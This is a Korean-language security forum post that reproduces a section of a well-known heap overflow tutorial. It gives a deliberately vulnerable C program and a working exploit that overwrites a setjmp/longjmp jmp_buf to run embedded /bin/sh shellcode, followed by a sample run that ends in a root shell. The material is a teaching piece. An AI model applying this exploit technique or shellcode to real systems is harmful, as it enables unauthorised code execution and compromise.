security

Total 112
Today 0
profile_image
운영자
01-02-06 09:28 0개 2,399회
Heap based Overflow --(4 )
Heap based overflow







이번 주에는 소스코드 중 목차 2. 5 에 해당하는 내용을 발송해 드립니다.





contents



0. Heap and Data/BSS section



1. Why Heap/BSS Overflows are Significant?



2. Exploiting Heap/BSS Overflows (source code)

2.1 Prelude of heap based overflow

2.2 Getting close

2.3 The First Chase

2.4 Playing with function pointers

2.5 Longjmp



3. The Preys



--------------------------------------------------------------------------------



2.5. Longjmp



여기서 보너스로 마지막 exploit인 jum_buf(setjmp/longjmp)를 사용한 방법에 대해 다루기로 하겠다. jum_buf는 stack frame은 저장하고 있으며 후에 실행될 때 이곳으로 jump시켜준다. 따라서 만약 setjmp()와 longjmp()사이를 overflow 시킬 수 있다면, 이 방법으로 뚤릴 수 있다. 다음은 jum_buf for x86 exploit 이다. 즉 다른 arch에 대해서는 약간의 수정이 필요하다.



사냥감 프로그램이다.:



-----------------------------------------------------------------------------

/*

* This is just a basic vulnerable program to demonstrate

* how to overwrite/modify jmp_buf's to modify the course of

* execution.

* jmp_buf를 overwrite해서 고쳐서 실행 흐름을 바꾸는 것을 연습해 본다.

*/



#include

#include

#include

#include

#include



#define ERROR -1

#define BUFSIZE 16



static char buf[BUFSIZE];

jmp_buf jmpbuf;



u_long getesp()

{

__asm__("movl %esp,%eax"); /* the return value goes in %eax */

}



int main(int argc, char **argv)

{

if (argc <= 1)

{

fprintf(stderr, "Usage: %s n");

exit(ERROR);

}



printf("[vulprog] argv[2] = %pn", argv[2]);

printf("[vulprog] sp = 0x%lxnn", getesp());



if (setjmp(jmpbuf)) /* if > 0, we got here from longjmp() */

{

fprintf(stderr, "error: exploit didn't workn");

exit(ERROR);

}



printf("before:n");

printf("bx = 0x%lx, si = 0x%lx, di = 0x%lxn",

jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);



printf("bp = %p, sp = %p, pc = %pnn",

jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);



strncpy(buf, argv[1], strlen(argv[1])); /* actual copy here */



printf("after:n");

printf("bx = 0x%lx, si = 0x%lx, di = 0x%lxn",

jmpbuf->__bx, jmpbuf->__si, jmpbuf->__di);



printf("bp = %p, sp = %p, pc = %pnn",

jmpbuf->__bp, jmpbuf->__sp, jmpbuf->__pc);



longjmp(jmpbuf, 1);

return 0;

}

위의 program이 stack pointer를 찍어내는 이유는 초보자들이 쉽게 offset을 추측할 수 있도록 해주기 위한 배려이다.



Exploit code:

-----------------------------------------------------------------------------

/*

* Copyright (C) January 1999, Matt Conover & WSD

*

* Demonstrates a method of overwriting jmpbuf's (setjmp/longjmp)

* to emulate a stack-based overflow in the heap. By that I mean,

* you would overflow the sp/pc of the jmpbuf. When longjmp() is

* called, it will execute the next instruction at that address.

* Therefore, we can stick shellcode at this address (as the data/heap

* section on most systems is executable), and it will be executed.

*

* This takes two arguments (offsets):

* arg 1 - stack offset (should be about 25-45).

* arg 2 - argv offset (should be about 310-330).

*/



#include

#include

#include

#include



#define ERROR -1

#define BUFSIZE 16



#define VULPROG "./vulprog4"



char shellcode[] = /* just aleph1's old shellcode (linux x86) */

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0"

"x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8"

"x40xcdx80xe8xdcxffxffxff/bin/sh";



u_long getesp()

{

__asm__("movl %esp,%eax"); /* the return value goes in %eax */

}



int main(int argc, char **argv)

{

int stackaddr, argvaddr;

register int index, i, j;



char buf[BUFSIZE + 24 + 1];



if (argc <= 1)

{

fprintf(stderr, "Usage: %s n",

argv[0]);



fprintf(stderr, "[stack offset = offset to stack of vulprogn");

fprintf(stderr, "[argv offset = offset to argv[2]]n");



exit(ERROR);

}



stackaddr = getesp() - atoi(argv[1]);

argvaddr = getesp() + atoi(argv[2]);



printf("trying address 0x%lx for argv[2]n", argvaddr);

printf("trying address 0x%lx for spnn", stackaddr);



/*

* The second memset() is needed, because otherwise some values

* will be (null) and the longjmp() won't do our shellcode.

*/



memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE + 4, 0x1, 12);

buf[BUFSIZE+24] = '';



/* ------------------------------------- */



/*

* We need the stack pointer, because to set pc to our shellcode

* address, we have to overwrite the stack pointer for jmpbuf.

* Therefore, we'll rewrite it with the real address again.

*/



for (i = 0; i < sizeof(u_long); i++) /* setup BP */

{

index = BUFSIZE + 16 + i;

buf[index] = (stackaddr >> (i * 8)) & 255;

}



/* ----------------------------- */



for (i = 0; i < sizeof(u_long); i++) /* setup SP */

{

index = BUFSIZE + 20 + i;

buf[index] = (stackaddr >> (i * 8)) & 255;

}



execl(VULPROG, VULPROG, buf, shellcode, NULL);

return 0;

}

run this with a stack offset of 36 and a argv[2] offset of 322, we get the following:

[root /w00w00/heap/examples/vulpkgs/vulpkg4]# ./exploit4 36 322

trying address 0xbffffcf6 for argv[2]

trying address 0xbffffb90 for sp



[vulprog] argv[2] = 0xbffffcf6

[vulprog] sp = 0xbffffb90



before:

bx = 0x0, si = 0x40001fb0, di = 0x4000000f

bp = 0xbffffb98, sp = 0xbffffb94, pc = 0x8048715



after:

bx = 0x1010101, si = 0x1010101, di = 0x1010101

bp = 0xbffffb90, sp = 0xbffffb90, pc = 0xbffffcf6



bash#

댓글목록

등록된 댓글이 없습니다.